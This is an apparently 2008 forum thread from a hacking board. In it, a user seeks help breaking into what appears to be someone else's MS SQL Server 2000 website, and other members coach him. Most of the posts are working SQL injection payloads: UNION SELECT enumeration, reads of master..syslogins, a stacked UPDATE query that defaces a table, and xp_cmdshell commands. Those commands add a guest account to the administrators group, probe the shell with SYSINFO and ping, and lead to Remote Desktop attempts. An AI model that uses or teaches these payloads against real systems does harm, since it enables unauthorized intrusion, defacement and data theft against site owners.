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www.waraxe.us Forum Index -> Sql injection -> SQL HELP
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SQL HELP
PostPosted: Mon Apr 14, 2008 3:22 pm Reply with quote
Snap
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Posts: 25




I start with

NULL HAVING 1=1--

to get one colu

then i do

NULL GROUP BY *****,*****,****,***** HAVING 1=1--

and go and go until i have a valid page (the ***** represents colums)

then i do

NULL UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 FROM INFORMATION_SCHEMA.tables WHERE xtype='U'--

and that gives me a valid page, with all those numbers in differents fields

then i do

NULL UNION SELECT null,null,null,null,null,null,null,null,null,null,table_name,null,null,null,null FROM INFORMATION_SCHEMA.tables--

and i get, one field with "_DELETE_" value, what does it means ?

i do too

NULL UNION SELECT null,null,null,null,null,null,null,null,null,null,@@version,null,null,null,null FROM INFORMATION_SCHEMA.tables--

and i get,
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

***

I'm stuck here, what i need to do now to get admin of the DB or to change information or read sensitive data, etc ... ? Help me plz ! Smile

cheers !
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PostPosted: Mon Apr 14, 2008 6:47 pm Reply with quote
waraxe
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Try read "master..syslogins". Find out, if you have DBA privileges. If so, then you can get shell access to database server operating system.
Modifications - you can concatenate multiple sql queries in M$sql 2000.
So this will work: "22;UPDATE some_table SET title='Pwned!!';--"

What you need to know, is database's information schema - table names, columns, etc. This will show you where "good" information is located Wink
So you must interact with INFORMATION_SCHEMA Smile
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PostPosted: Mon Apr 14, 2008 7:10 pm Reply with quote
Oilik
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Posts: 35




waraxe wrote:
Try read "master..syslogins". Find out, if you have DBA privileges. If so, then you can get shell access to database server operating system.
Modifications - you can concatenate multiple sql queries in M$sql 2000.
So this will work: "22;UPDATE some_table SET title='Pwned!!';--"

What you need to know, is database's information schema - table names, columns, etc. This will show you where "good" information is located Wink
So you must interact with INFORMATION_SCHEMA Smile

yeah, but I don't like testing out to see if I have privileges when I'm doing that. I just jump straight to using xp..cmdshell. Smile
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PostPosted: Mon Apr 14, 2008 11:33 pm Reply with quote
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waraxe wrote:
Try read "master..syslogins". Find out, if you have DBA privileges. If so, then you can get shell access to database server operating system.
Modifications - you can concatenate multiple sql queries in M$sql 2000.
So this will work: "22;UPDATE some_table SET title='Pwned!!';--"

What you need to know, is database's information schema - table names, columns, etc. This will show you where "good" information is located Wink
So you must interact with INFORMATION_SCHEMA Smile


Hey man many thx for your answer !

when i do

NULL UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM master..syslogins--

i get

Permits SELECT denied Sad for the column 'password', object 'syslogins', database 'master', owner 'dbo'.

/***.asp, line 18

what can i do now ?

thanks in advance Very Happy
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PostPosted: Tue Apr 15, 2008 11:54 pm Reply with quote
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bump !
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PostPosted: Wed Apr 16, 2008 10:39 am Reply with quote
Oilik
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Snap wrote:
bump !

It's using DBO?
http://milw0rm.com/video/watch.php?id=70
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PostPosted: Wed Apr 16, 2008 10:27 pm Reply with quote
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i followed everything from that video

i did

null;exec master..xp_cmdshell 'net user guest 123456 /add';--

and i got a valid page !

then

null;exec master..xp_cmdshell 'net localgroup administrators guest /add';--

valid page too !

i was like WOW INCEDIBLE

then i opened the "Remote Dektop"

and here is the problem

WHERE /HOW DO I GET THE IP ? IS THE SAME OF THE PAGE ?

i entered the same ip of the page doing a resolve, and i got "cannot connect bla bla bla"

plus i think is a shared hosted ... plz help me

cheers !
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PostPosted: Wed Apr 16, 2008 10:52 pm Reply with quote
Oilik
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Posts: 35




Snap wrote:
i followed everything from that video

i did

null;exec master..xp_cmdshell 'net user guest 123456 /add';--

and i got a valid page !

then

null;exec master..xp_cmdshell 'net localgroup administrators guest /add';--

valid page too !

i was like WOW INCEDIBLE

then i opened the "Remote Dektop"

and here is the problem

WHERE /HOW DO I GET THE IP ? IS THE SAME OF THE PAGE ?

i entered the same ip of the page doing a resolve, and i got "cannot connect bla bla bla"

plus i think is a shared hosted ... plz help me

cheers !
Smile
Well, you may not be able to do RDC, but you can execute other commands though. So try:
null;exec master..xp_cmdshell 'SYSTEMINFO';--
And see if that spits out anything. Smile
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PostPosted: Fri Apr 18, 2008 2:30 am Reply with quote
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Posts: 25




Oilik wrote:

Well, you may not be able to do RDC, but you can execute other commands though. So try:
null;exec master..xp_cmdshell 'SYSTEMINFO';--
And see if that spits out anything. Smile


i used

null;exec master..xp_cmdshell 'SYSTEMINFO';--

and i get a valid page with nothing in it .. Confused
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PostPosted: Fri Apr 18, 2008 3:07 am Reply with quote
waraxe
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Posts: 2407
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First you must be sure that shell access is working. Try this:

Code:

null;exec master..xp_cmdshell 'ping -n 20 localhost';--


If you can access shell, then delay > 20 seconds can be observed Wink
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PostPosted: Fri Apr 18, 2008 3:43 am Reply with quote
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Posts: 25




waraxe wrote:
First you must be sure that shell access is working. Try this:

Code:

null;exec master..xp_cmdshell 'ping -n 20 localhost';--


If you can access shell, then delay > 20 seconds can be observed Wink


OMG ! waraxe you appeared again in my thread ,what an honor !!

I think i can't enter to the shell, because the ping delay doesn't work Crying or Very sad

but, i HAVE to be able to do something with all this data, don't i ?

Server name = SVRPUBLICADOR

DB name = planet

user = backoffice_pm

version = Microsoft SQL Server 2000 - 8.00.2039

NULL UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM master..syslogins--

Permits SELECT denied for the column 'password', object 'syslogins', database 'master', owner 'dbo'.

i can't do nothing with all that Question how do i interact with INFORMATION_SCHEMA Question BTW, i am learning a lot thx !!
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PostPosted: Sat Apr 19, 2008 9:51 am Reply with quote
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Waraaaaaaaaaaaxe

bump !!!!
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SQL HELP
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